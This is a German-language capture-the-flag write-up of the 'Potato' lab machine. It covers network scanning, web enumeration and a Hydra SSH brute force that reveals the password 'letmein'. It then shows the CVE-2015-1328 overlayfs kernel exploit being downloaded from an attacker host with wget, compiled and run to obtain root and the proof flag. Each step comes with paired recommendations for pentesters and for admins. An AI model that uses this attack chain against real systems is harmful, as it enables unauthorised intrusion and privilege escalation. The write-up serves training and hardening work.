Die Reconnaissance-Phase dient der ersten Erkundung des Ziels im Netzwerk. Es werden aktive Hosts identifiziert und grundlegende Scans durchgeführt, um offene Ports und Dienste zu ermitteln und einen ersten Überblick über die Angriffsfläche zu erhalten.
192.168.2.142 08:00:27:9e:0a:70 PCS Systemtechnik GmbH
Analyse: Der Befehl `arp-scan -l` sendet ARP-Anfragen ins lokale Netzwerk, um aktive Hosts zu finden. Er identifiziert die IP-Adresse `192.168.2.142` mit der MAC-Adresse `08:00:27:9e:0a:70`. Der Hersteller (PCS Systemtechnik GmbH) weist auf eine Oracle VirtualBox-Umgebung hin.
Bewertung: Das Zielsystem wurde erfolgreich im Netzwerk lokalisiert. Die IP 192.168.2.142 ist die Basis für weitere Scans.
Empfehlung (Pentester): Verwende die IP 192.168.2.142 für nachfolgende Nmap-Scans.
Empfehlung (Admin): Netzwerk-Monitoring zur Erkennung von Scans einsetzen. Netzwerksegmentierung und Port Security können die Sichtbarkeit und Angreifbarkeit von Hosts reduzieren.
192.168.2.122 pumpkingarden.vln
Analyse: Der Befehl `vi /etc/hosts` öffnet die lokale Hosts-Datei des Angreifersystems. Der gezeigte Eintrag (`192.168.2.122 pumpkingarden.vln`) gehört jedoch zur vorherigen Maschine ("PumpkinGarden"). Es wurde anscheinend versäumt, einen neuen Eintrag für die aktuelle Ziel-IP `192.168.2.142` mit einem passenden Hostnamen (z.B. `potato-suncsr.vln`) hinzuzufügen.
Bewertung: Das Fehlen eines korrekten Eintrags in `/etc/hosts` für die aktuelle Maschine `192.168.2.142` könnte die spätere Interaktion mit dem Webserver erschweren, falls dieser auf Hostnamen basiertes Routing (Virtual Hosts) verwendet. Für die nachfolgenden Scans, die direkt die IP-Adresse verwenden, hat dies jedoch keine Auswirkung.
Empfehlung (Pentester): Füge den korrekten Eintrag zur `/etc/hosts`-Datei hinzu: `192.168.2.142 potato-suncsr.vln`. Dies stellt sicher, dass Webanwendungen, die über den Hostnamen angesprochen werden, korrekt funktionieren.
Empfehlung (Admin): Keine direkte Maßnahme auf dem Zielsystem erforderlich. Dies betrifft die Konfiguration des Angreifersystems.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-09-17 00:59 CEST Nmap scan report for potato-suncsr.vln (192.168.2.142) Host is up (0.00014s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.7 ((Ubuntu)) |_http-title: Potato |_http-server-header: Apache/2.4.7 (Ubuntu) 7120/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 1024 b1a849bc75019710da6afa792f124130 (DSA) | 2048 0d6c932a1b6c10bbd4014d9c423436df (RSA) | 256 fc96d8e5a7aad2469b00bdf2be45cfb5 (ECDSA) |_ 256 e3b05745d3834445af3a9994f825a46c (ED25519) MAC Address: 08:00:27:9E:0A:70 (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.2 - 4.9 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.14 ms potato-suncsr.vln (192.168.2.142)
Analyse: Ein aggressiver Nmap-Scan (`-sS -sC -sV -T5 -A -Pn -p-`) wird auf die Ziel-IP 192.168.2.142 durchgeführt. **Ergebnisse:** * **Port 80 (HTTP):** Offen, Apache 2.4.7 (Ubuntu). Der Seitentitel ist "Potato". * **Port 7120 (SSH):** Offen, OpenSSH 6.6.1p1 (Ubuntu) auf einem benutzerdefinierten Port. * **MAC/OS:** Bestätigt VirtualBox und schätzt Linux Kernel 3.x/4.x.
Bewertung: Der Scan identifiziert zwei Hauptangriffsvektoren: einen Webserver auf dem Standardport 80 und einen SSH-Dienst auf dem Nicht-Standardport 7120. Beide Dienste laufen auf Versionen, die auf ein älteres Ubuntu-System (vermutlich 14.04 LTS) hindeuten.
Empfehlung (Pentester): Untersuche den Webserver auf Port 80 mittels Nikto, Gobuster und manueller Analyse. Behalte SSH auf Port 7120 als potenziellen Login-Punkt im Auge, falls Zugangsdaten gefunden werden.
Empfehlung (Admin): Aktualisieren Sie Apache und OpenSSH sowie das zugrunde liegende Betriebssystem. Verwenden Sie benutzerdefinierte Ports nur, wenn unbedingt notwendig und verstehen Sie, dass dies keine echte Sicherheit bietet. Implementieren Sie eine Firewall, um den Zugriff auf notwendige Dienste zu beschränken.
80/tcp open http Apache httpd 2.4.7 ((Ubuntu)) 7120/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)
Analyse: Dies ist die gefilterte Ausgabe des vorherigen Nmap-Scans, die nur die offenen Ports (80 HTTP, 7120 SSH) anzeigt.
Bewertung: Bestätigt die beiden offenen Ports als primäre Ziele für die weitere Untersuchung.
Empfehlung (Pentester): Fokussiere die nächsten Schritte auf die Untersuchung des Webservers auf Port 80.
Empfehlung (Admin): Stellen Sie sicher, dass nur notwendige Ports geöffnet sind.
Der auf Port 80 laufende Apache-Webserver wird nun genauer untersucht, um Schwachstellen, interessante Dateien oder Konfigurationsfehler aufzudecken.
- Nikto v2.5.0 + Target IP: 192.168.2.142 + Target Hostname: 192.168.2.142 + Target Port: 80 + Start Time: 2023-09-17 00:58:52 (GMT2) + Server: Apache/2.4.7 (Ubuntu) + /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options + /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ + No CGI Directories found (use '-C all' to force check all possible dirs) + Apache/2.4.7 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch. + /: Server may leak inodes via ETags, header found with file /, inode: 28e, size: 5aec9609b29d1, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418 + OPTIONS: Allowed HTTP Methods: GET, HEAD, POST, OPTIONS . + /info.php: Retrieved x-powered-by header: PHP/5.5.9-1ubuntu4.29. + /info.php: Output from the phpinfo() function was found. + /info.php: PHP is installed, and a test script which runs phpinfo() was found. This gives a lot of system information. See: CWE-552 + /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/ + /info.php?file=http://blog.cirt.net/rfiinc.txt: Remote File Inclusion (RFI) from RSnake's RFI list. See: https://gist.github.com/mubix/5d269c686584875015a2 + 8102 requests: 0 error(s) and 10 item(s) reported on remote host + End Time: 2023-09-17 00:59:17 (GMT2) (25 seconds) + 1 host(s) tested
Analyse: Nikto scannt den Webserver auf Port 80. * **Server/Header:** Bestätigt Apache 2.4.7, meldet fehlende Sicherheitsheader und ETag-Leak-Potenzial. Markiert Apache als veraltet. * **/info.php:** Ein sehr wichtiger Fund! Nikto identifiziert eine `info.php`-Datei. Diese Datei enthält die Ausgabe der `phpinfo()`-Funktion, die detaillierte Informationen über die PHP-Konfiguration, geladene Module, Server-Variablen und potenziell sensible Pfade preisgibt. Die PHP-Version ist 5.5.9. * **/icons/README:** Standard Apache-Datei gefunden. * **RFI-Test:** Nikto testet einen bekannten RFI-Teststring auf `info.php`. Dies ist wahrscheinlich ein Fehlalarm, da `phpinfo()` normalerweise keine Dateiinklusion erlaubt, aber es weist auf die Existenz der Datei hin.
Bewertung: Der kritischste Fund ist die öffentlich zugängliche `info.php`. Dies ist eine erhebliche Informationspreisgabe und ein häufiger Fehler in Webserver-Konfigurationen. Die veraltete Apache- und PHP-Version (5.5.9) sind ebenfalls relevant für die Suche nach bekannten Schwachstellen.
Empfehlung (Pentester): Rufe `http://192.168.2.142/info.php` im Browser auf und analysiere die Ausgabe sorgfältig. Suche nach interessanten Konfigurationseinstellungen, Pfaden, aktivierten Modulen oder Umgebungsvariablen, die für weitere Angriffe nützlich sein könnten. Untersuche auch die `index.html`.
Empfehlung (Admin): Entfernen oder beschränken Sie den Zugriff auf `phpinfo()`-Dateien auf Produktivsystemen. Solche Dateien sollten nur zu Debugging-Zwecken temporär aktiviert und danach sofort wieder entfernt werden. Aktualisieren Sie Apache und PHP dringend.
=============================================================== Gobuster v3.5 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://potato-suncsr.vln [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt [+] Negative Status codes: 403,404 [+] User Agent: gobuster/3.5 [+] Extensions: ... (gekürzt) ... [+] Expanded: true [+] Timeout: 10s =============================================================== 2023/09/17 01:01:00 Starting gobuster in directory enumeration mode =============================================================== http://potato-suncsr.vln/index.html (Status: 200) [Size: 654] http://potato-suncsr.vln/info.php (Status: 200) [Size: 87446] =============================================================== 2023/09/17 01:02:45 Finished ===============================================================
Analyse: Gobuster wird verwendet, um Verzeichnisse und Dateien auf dem Webserver zu finden. Es bestätigt die Existenz von `index.html` und der von Nikto gefundenen `info.php`. Es werden keine weiteren versteckten Dateien oder Verzeichnisse mit dieser Wortliste gefunden.
Bewertung: Die Angriffsfläche des Webservers scheint auf den ersten Blick auf `index.html` und `info.php` beschränkt zu sein. Die `info.php` bleibt der interessanteste Punkt.
Empfehlung (Pentester): Analysiere `index.html` und `info.php`. Da Gobuster wenig fand, könnte der nächste Schritt darin bestehen, Zugangsdaten für SSH zu finden oder zu erraten.
Empfehlung (Admin): Überprüfen Sie, ob weitere Dateien oder Verzeichnisse existieren, die durch Standard-Scans nicht gefunden werden. Beschränken Sie den Zugriff auf das Notwendigste.
--2023-09-17 01:03:05-- http://potato-suncsr.vln/potato.jpg Auflösen des Hostnamens potato-suncsr.vln (potato-suncsr.vln)… 192.168.2.142 Verbindungsaufbau zu potato-suncsr.vln (potato-suncsr.vln)|192.168.2.142|:80 … verbunden. HTTP-Anforderung gesendet, auf Antwort wird gewartet … 200 OK Länge: 30447 (30K) [image/jpeg] Wird in ‘potato.jpg’ gespeichert. potato.jpg 100%[===================>] 29,73K --.-KB/s in 0s 2023-09-17 01:03:05 (123 MB/s) - ‘potato.jpg’ gespeichert [30447/30447]
Analyse: Die Datei `potato.jpg` wird vom Webserver heruntergeladen. Diese Datei wurde vermutlich auf der `index.html` Seite entdeckt oder aus dem Namen der Maschine abgeleitet.
Bewertung: Das Herunterladen des Bildes deutet auf einen möglichen Versuch hin, versteckte Informationen mittels Steganographie zu finden (z.B. mit Tools wie `steghide` oder `exiftool`). Im weiteren Verlauf des Berichts wird diese Datei jedoch nicht weiter analysiert, was darauf hindeutet, dass dieser Ansatz entweder nicht verfolgt wurde oder keine Ergebnisse lieferte.
Empfehlung (Pentester): Analysiere das heruntergeladene Bild `potato.jpg` mit Steganographie-Tools (z.B. `steghide extract -sf potato.jpg`, `exiftool potato.jpg`, `binwalk potato.jpg`), um nach versteckten Daten, Passwörtern oder Hinweisen zu suchen.
Empfehlung (Admin): Seien Sie sich bewusst, dass Angreifer versuchen können, Daten in Bildern oder anderen Mediendateien zu verstecken. Dies ist jedoch schwer zu verhindern.
Da die Web-Enumeration keine direkte Schwachstelle für einen Zugriff offenbarte (außer der Informationspreisgabe durch `info.php`), wird nun versucht, über den SSH-Dienst auf Port 7120 Zugang zu erlangen, indem Passwörter für einen vermuteten Benutzernamen erraten werden.
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these * ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-09-17 01:12:46
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344424 login tries (l:1/p:14344424), ~224132 tries per task
[DATA] attacking ssh://192.168.2.142:7120/
[STATUS] 389.00 tries/min, 389 tries in 00:01h, 14344069 to do in 614:35h, 30 active
[7120][ssh] host: 192.168.2.142 login: potato password: letmein
1 password found by task 37 in //hydra (waiting for children to complete)
Analyse: Hydra wird verwendet, um einen Brute-Force-Angriff auf den SSH-Dienst durchzuführen. * `-l potato`: Gibt den Benutzernamen `potato` als Ziel an (abgeleitet vom Maschinennamen oder der Webseite). * `-P /usr/share/wordlists/rockyou.txt`: Verwendet die bekannte Passwortliste `rockyou.txt`. * `ssh://192.168.2.142:7120`: Gibt das Protokoll (SSH), das Ziel und den Port an. * `-t 64`: Verwendet 64 parallele Tasks (Hydra warnt, dass dies für SSH zu hoch sein könnte). Hydra testet systematisch Passwörter aus der `rockyou.txt` für den Benutzer `potato`. Nach einiger Zeit findet es das gültige Passwort `letmein`.
Bewertung: Erfolg! Ein Brute-Force-Angriff auf den SSH-Dienst war erfolgreich, da der Benutzer `potato` ein sehr schwaches und gebräuchliches Passwort (`letmein`) aus der `rockyou.txt`-Liste verwendete. Dies gewährt den initialen Zugriff auf das System.
Empfehlung (Pentester): Melde dich sofort mit den gefundenen Zugangsdaten (`potato`:`letmein`) per SSH auf Port 7120 an.
Empfehlung (Admin): Erzwingen Sie starke, komplexe Passwörter für alle Benutzer. Verbieten Sie die Verwendung von Passwörtern, die in bekannten Wortlisten vorkommen. Implementieren Sie Schutzmechanismen gegen Brute-Force-Angriffe auf SSH, wie z.B. `fail2ban`, das fehlgeschlagene Login-Versuche erkennt und die IP-Adresse des Angreifers temporär sperrt. Erwägen Sie die Verwendung von schlüsselbasierter SSH-Authentifizierung anstelle von Passwörtern.
The authenticity of host '[192.168.2.142]:7120 ([192.168.2.142]:7120)' can't be established. ED25519 key fingerprint is SHA256:jhXxGF91LI55ANwXCLFFF/zViDY10PbLjrKkgU7Q+8Q. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '[192.168.2.142]:7120' (ED25519) to the list of known hosts. potato@192.168.2.142's password: letmein Welcome to Ubuntu 14.04 LTS (GNU/Linux 3.13.0-24-generic x86_64) * Documentation: https://help.ubuntu.com/ Last login: Tue Sep 8 02:04:57 2020 from 192.168.17.172 potato@ubuntu$
Analyse: Es wird eine SSH-Verbindung als Benutzer `potato` auf Port 7120 aufgebaut. * Die Authentizität des Hosts wird bestätigt (`yes`). * Das von Hydra gefundene Passwort `letmein` wird eingegeben. * Der Login ist erfolgreich. Der Willkommensbildschirm zeigt Ubuntu 14.04 LTS mit Kernel 3.13.0-24-generic. Der Hostname ist `ubuntu`. Eine Shell als Benutzer `potato` wird geöffnet.
Bewertung: Initial Access erfolgreich erlangt. Der Benutzer `potato` hat eine interaktive Shell auf dem Zielsystem. Die angezeigte Kernel-Version ist wichtig für die Suche nach lokalen Privilege Escalation Exploits.
Empfehlung (Pentester): Beginne mit der lokalen Enumeration als Benutzer `potato`. Überprüfe `sudo`-Rechte, SUID-Dateien, interessante Dateien im Home-Verzeichnis, Cronjobs, etc., um einen Weg zur Rechteerweiterung zu finden.
Empfehlung (Admin): Überprüfen Sie die Notwendigkeit des Benutzerkontos `potato`. Setzen Sie ein starkes Passwort oder deaktivieren Sie das Konto, falls es nicht benötigt wird. Überwachen Sie SSH-Logins.
Nachdem der Zugriff als Benutzer `potato` erlangt wurde, wird das System nun auf Schwachstellen oder Fehlkonfigurationen untersucht, die eine Erhöhung der Rechte auf Root-Ebene ermöglichen.
The program 'sudo' can be found in the following packages: * sudo * sudo-ldap Try: sudo apt-get install
Analyse: Es wird versucht, `sudo -l` auszuführen, um die `sudo`-Rechte des Benutzers `potato` zu überprüfen. Der Befehl schlägt jedoch fehl, da `sudo` auf diesem System offenbar nicht installiert ist.
Bewertung: Das Fehlen von `sudo` bedeutet, dass dieser gängige Vektor für Privilege Escalation nicht verfügbar ist. Es müssen andere Methoden gesucht werden.
Empfehlung (Pentester): Konzentriere dich auf SUID-Binaries, Kernel-Exploits, Cronjobs oder andere Fehlkonfigurationen.
Empfehlung (Admin): Installieren Sie `sudo`, wenn es für die Systemverwaltung benötigt wird, und konfigurieren Sie es sicher nach dem Prinzip der geringsten Rechte. Wenn `sudo` nicht benötigt wird, ist sein Fehlen kein Sicherheitsproblem.
2359396 68 -rwsr-xr-x 1 root root 69120 Apr 16 2014 /bin/umount 2362977 32 -rwsr-xr-x 1 root root 30800 Dec 16 2013 /bin/fusermount 2359355 96 -rwsr-xr-x 1 root root 94792 Apr 16 2014 /bin/mount 2359388 40 -rwsr-xr-x 1 root root 36936 Feb 16 2014 /bin/su 2105705 336 -rwsr-xr-- 1 root dip 343168 Jan 22 2013 /usr/sbin/pppd 2105739 20 -rwsr-sr-x 1 libuuid libuuid 18904 Apr 16 2014 /usr/sbin/uuidd 2097336 48 -rwsr-xr-x 1 root root 47032 Feb 16 2014 /usr/bin/passwd 2097324 32 -rwsr-xr-x 1 root root 32464 Feb 16 2014 /usr/bin/newgrp 2105678 24 -rwsr-xr-x 1 root root 23104 Mar 14 2014 /usr/bin/traceroute6.iputils 2097255 68 -rwsr-xr-x 1 root root 68152 Feb 16 2014 /usr/bin/gpasswd 2097184 44 -rwsr-xr-x 1 root root 41336 Feb 16 2014 /usr/bin/chsh 2105687 76 -rwsr-xr-x 1 root root 75256 Oct 21 2013 /usr/bin/mtr 2097181 48 -rwsr-xr-x 1 root root 46424 Feb 16 2014 /usr/bin/chfn 2097532 12 -rwsr-xr-x 1 root root 10240 Feb 25 2014 /usr/lib/eject/dmcrypt-get-device 2104799 292 -rwsr-xr-- 1 root messagebus 298512 Apr 1 2014 /usr/lib/dbus-1.0/dbus-daemon-launch-helper 2363569 432 -rwsr-xr-x 1 root root 440416 Mar 4 2019 /usr/lib/openssh/ssh-keysign 2098163 12 -rwsr-xr-x 1 root root 10344 Apr 12 2014 /usr/lib/pt_chown
Analyse: Der Befehl sucht nach Dateien mit gesetztem SUID-Bit. Die Liste enthält Standard-Linux-Tools (`mount`, `umount`, `su`, `passwd`, `chsh` etc.). Es sind keine offensichtlich ungewöhnlichen oder bekanntermaßen leicht ausnutzbaren SUID-Binaries wie `pkexec` vorhanden.
Bewertung: Die SUID-Binaries bieten auf den ersten Blick keinen direkten Angriffsvektor. Eine tiefere Analyse der spezifischen Versionen oder potenzieller Fehlkonfigurationen wäre nötig, aber unwahrscheinlich für eine "Easy"-Maschine.
Empfehlung (Pentester): Da SUID unwahrscheinlich ist, konzentriere dich auf die Kernel-Version (3.13.0-24-generic) für mögliche Exploits.
Empfehlung (Admin): Überprüfen und minimieren Sie die Anzahl der SUID-Binaries. Halten Sie das System aktuell.
State Recv-Q Send-Q Local Address:Port Peer Address:Port LISTEN 0 50 127.0.0.1:3306 *:* LISTEN 0 128 *:7120 *:* LISTEN 0 128 :::80 :::* LISTEN 0 128 :::7120 :::*
Analyse: Die Ausgabe von `ss -altpn` (ähnlich zu `netstat`) zeigt die lauschenden TCP-Ports. Sie bestätigt Port 80 (HTTP), Port 7120 (SSH) und den nur lokal lauschenden Port 3306 (MySQL).
Bewertung: Keine neuen Netzwerkdienste entdeckt. Der lokale MySQL-Dienst bleibt ein potenzielles Ziel, falls Zugangsdaten gefunden werden.
Empfehlung (Pentester): Suche nach Konfigurationsdateien von Webanwendungen (im Web-Root `/var/www/html`) nach MySQL-Zugangsdaten.
Empfehlung (Admin): Sichern Sie den lokalen MySQL-Dienst mit starken Passwörtern.
su
potato
total 8 drwxr-xr-x 2 root root 4096 Apr 10 2014 . drwxr-xr-x 12 root root 4096 Sep 7 2020 ..
total 48 drwxr-xr-x 2 root root 4096 Sep 8 2020 . drwxr-xr-x 3 root root 4096 Sep 7 2020 .. -rw-r--r-- 1 root root 654 Sep 8 2020 index.html -rw-r--r-- 1 root root 20 Sep 7 2020 info.php -rw-r--r-- 1 root root 30447 Sep 8 2020 potato.jpg
Analyse: Mehrere Befehle zur Systemenumeration werden ausgeführt: * `cat .bash_history`: Zeigt nur einen `su`-Befehl an (wenig informativ). * `ls /home/`: Bestätigt, dass `potato` der einzige Benutzer mit einem Home-Verzeichnis ist. * `ls -la /var/backups/`: Zeigt ein leeres Backup-Verzeichnis. * `ls -la /var/www/html/`: Listet den Inhalt des Web-Roots auf und bestätigt die Dateien `index.html`, `info.php` und `potato.jpg`, die alle `root` gehören.
Bewertung: Diese Enumerationsschritte liefern keine direkten Hinweise für Privilege Escalation. Es wurden keine ungewöhnlichen Dateien, Backups oder Konfigurationsdateien mit potenziellen Zugangsdaten gefunden.
Empfehlung (Pentester): Da die Standard-Enumeration wenig erbracht hat und SUID/sudo keine Optionen sind, ist ein Kernel-Exploit basierend auf der Version `3.13.0-24-generic` der wahrscheinlichste nächste Schritt.
Empfehlung (Admin): Stellen Sie sicher, dass Web-Root-Verzeichnisse keine unnötigen oder sensiblen Dateien enthalten. Überprüfen Sie regelmäßig Backup-Verzeichnisse.
Da andere Methoden zur Privilege Escalation fehlschlugen, wird nun versucht, eine bekannte Schwachstelle im Linux-Kernel auszunutzen. Basierend auf der Kernel-Version 3.13.0-24-generic wird der OverlayFS-Exploit (CVE-2015-1328) ausgewählt.
---------------------------------------------------------------------------------- --------------------------------- Exploit Title | Path ---------------------------------------------------------------------------------- --------------------------------- Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local P | linux/local/37292.c Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local P | linux/local/37293.txt Linux Kernel 3.13/3.14 (Ubuntu) - 'splice()' System Call Local Information Disclo | linux/dos/36743.c Linux Kernel 3.4 < 3.13.2 (Ubuntu 13.04/13.10 x64) - 'CONFIG_X86_X32' Arbitrary W | linux_x86-64/local/31347.c Linux Kernel 3.4 < 3.13.2 (Ubuntu 13.10) - 'CONFIG_X86_X32' Arbitrary Write (x86) | linux/local/31346.c Linux Kernel 4.10.5 / < 4.14.3 (Ubuntu) - DCCP Socket Use-After-Free / Race Condi | linux/dos/43234.c Linux Kernel < 4.13.9 (Ubuntu 16.04 / Fedora 27) - Local Privilege Escalation via | linux/local/45010.c Linux Kernel < 4.4.0-116 (Ubuntu 16.04.4) - Local Privilege Escalation via BPF Si | linux/local/44298.c Linux Kernel < 4.4.0-21 (Ubuntu 16.04 x64) - 'netfilter target_offset' Out-of-Bou | linux_x86-64/local/44300.c Linux Kernel < 4.4.0-83 / < 4.8.0-58 (Ubuntu 14.04/16.04) - Local Privilege Escal | linux/local/43418.c Linux Kernel < 4.4.0/ < 4.8.0 (Ubuntu 14.04/16.04 / Linux Mint 17/18 / Zorin 12) | linux/local/47169.c Ubuntu < 15.10 - PT Chown Arbitrary PTs Access Via User Namespace | linux/local/41760.txt ---------------------------------------------------------------------------------- --------------------------------- Shellcodes: No Results
Analyse: `searchsploit` wird auf dem Angreifersystem verwendet, um die lokale Exploit-DB-Datenbank nach bekannten Exploits für "ubuntu 3.13" zu durchsuchen. Es werden mehrere potenzielle Exploits aufgelistet. Der Exploit `linux/local/37292.c` zielt auf eine OverlayFS-Schwachstelle in Kernel-Versionen 3.13.0 bis 3.19 auf verschiedenen Ubuntu-Versionen (einschließlich 14.04) ab und verspricht lokale Privilege Escalation.
Bewertung: Der Exploit `37292.c` (CVE-2015-1328) ist ein vielversprechender Kandidat, da die Kernel-Version des Zielsystems (3.13.0-24-generic) in den betroffenen Bereich fällt. Kernel-Exploits sind oft effektiv, können aber manchmal instabil sein oder erfordern spezifische Systemkonfigurationen.
Empfehlung (Pentester): Kopiere den Exploit-Code (`37292.c`) lokal, übertrage ihn auf das Zielsystem (z.B. ins `/tmp`-Verzeichnis), kompiliere ihn dort und führe ihn aus.
Empfehlung (Admin): Das Patchen des Kernels ist die wichtigste Maßnahme. Halten Sie den Kernel und das gesamte System immer auf dem neuesten Stand. Kernel-Exploits können oft durch Härtungsmaßnahmen (wie AppArmor, Seccomp, GRsecurity/PaX) erschwert werden, falls das Patchen nicht sofort möglich ist.
Exploit: Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local Privilege Escalation URL: https://www.exploit-db.com/exploits/37292 Path: /usr/share/exploitdb/exploits/linux/local/37292.c Codes: CVE-2015-1328 Verified: True File Type: C source, ASCII text, with very long lines (466) Copied to: /root/37292.c
Analyse: Der Befehl `searchsploit -m linux/local/37292.c` kopiert den ausgewählten Exploit-Code aus der lokalen Exploit-DB-Datenbank in das aktuelle Verzeichnis (`/root`) des Angreifersystems.
Bewertung: Der Exploit-Code ist nun für die Übertragung auf das Zielsystem bereit.
Empfehlung (Pentester): Übertragen Sie die Datei `/root/37292.c` auf das Zielsystem. Gängige Methoden sind das Starten eines einfachen HTTP-Servers auf dem Angreifer (`python3 -m http.server 8000`) und das Herunterladen mit `wget` auf dem Ziel, oder das Einfügen des Codes über die SSH-Verbindung in eine neue Datei.
Empfehlung (Admin): Überwachen Sie Dateiübertragungen und das Kompilieren von Code auf Ihren Systemen.
--2023-09-16 16:43:58-- http://192.168.2.199:8000/37292.c Connecting to 192.168.2.199:8000... connected. HTTP request sent, awaiting response... 200 OK Length: 4968 (4.9K) [text/x-csrc] Saving to: ‘37292.c’ 100%[======================================>] 4,968 --.-K/s in 0s 2023-09-16 16:43:58 (987 MB/s) - ‘37292.c’ saved [4968/4968]
Analyse: Der Exploit-Code wird vom Angreifersystem (192.168.2.199, wo ein HTTP-Server auf Port 8000 läuft) auf das Zielsystem ins `/tmp`-Verzeichnis heruntergeladen.
Bewertung: Der Exploit-Code befindet sich nun auf dem Zielsystem und kann kompiliert werden.
Empfehlung (Pentester): Kompiliere den C-Code mit `gcc -o root 37292.c`. Stelle sicher, dass `gcc` auf dem Zielsystem installiert ist. Führe dann das kompilierte Binary aus (`./root`).
Empfehlung (Admin): Beschränken Sie ausgehende Netzwerkverbindungen vom Server (Egress Filtering), um das Herunterladen von Exploits zu erschweren. Entfernen Sie unnötige Entwicklungswerkzeuge wie `gcc` von Produktivsystemen.
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
# id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),110(sambashare),1000(potato)
#
Analyse: * `gcc -o root 37292.c`: Der C-Code des Exploits wird mit dem GCC-Compiler kompiliert und die ausführbare Datei wird `root` genannt. * `./root`: Das kompilierte Exploit-Binary wird ausgeführt. Die Ausgabe (`spawning threads...`) zeigt die internen Schritte des Exploits. * `# id`: Nach erfolgreicher Ausführung des Exploits wird der `id`-Befehl ausgeführt. Die Ausgabe `uid=0(root) gid=0(root) groups=0(root)...` bestätigt, dass der Benutzer nun Root-Rechte hat. Der Prompt ändert sich ebenfalls zu `#`, dem Standard-Prompt für den Root-Benutzer.
Bewertung: Fantastisch! Der Kernel-Exploit war erfolgreich und hat dem Benutzer `potato` Root-Rechte verschafft. Der Proof of Concept ist damit erbracht.
Empfehlung (Pentester): Die Privilege Escalation ist abgeschlossen. Suche nach der Root-Flag (üblicherweise `/root/root.txt` oder, wie hier, `/root/proof.txt`). Dokumentiere den Erfolg.
Empfehlung (Admin): Patchen Sie den Kernel dringend, um CVE-2015-1328 zu beheben! Implementieren Sie Sicherheitsmaßnahmen auf Host-Ebene (Kernel-Härtung, Intrusion Detection), um Kernel-Exploits zu erschweren oder zu erkennen.
proof.txt
SunCSR.Team.Potato.af6d45da1f1181347b9e2139f23c6a5b
Analyse: Als Root-Benutzer wird in das `/root`-Verzeichnis gewechselt. `ls` zeigt eine Datei namens `proof.txt`. `cat proof.txt` gibt ihren Inhalt aus: `SunCSR.Team.Potato.af6d45da1f1181347b9e2139f23c6a5b`.
Bewertung: Die Root-Flag wurde erfolgreich gefunden und ausgelesen. Der Test ist abgeschlossen.
Empfehlung (Pentester): Dokumentiere die Flag und den Weg dorthin.
Empfehlung (Admin): Sichern Sie die Flag-Datei und beheben Sie alle identifizierten Schwachstellen (schwaches SSH-Passwort, veraltete Software, Kernel-Schwachstelle, `phpinfo()`-Exposition).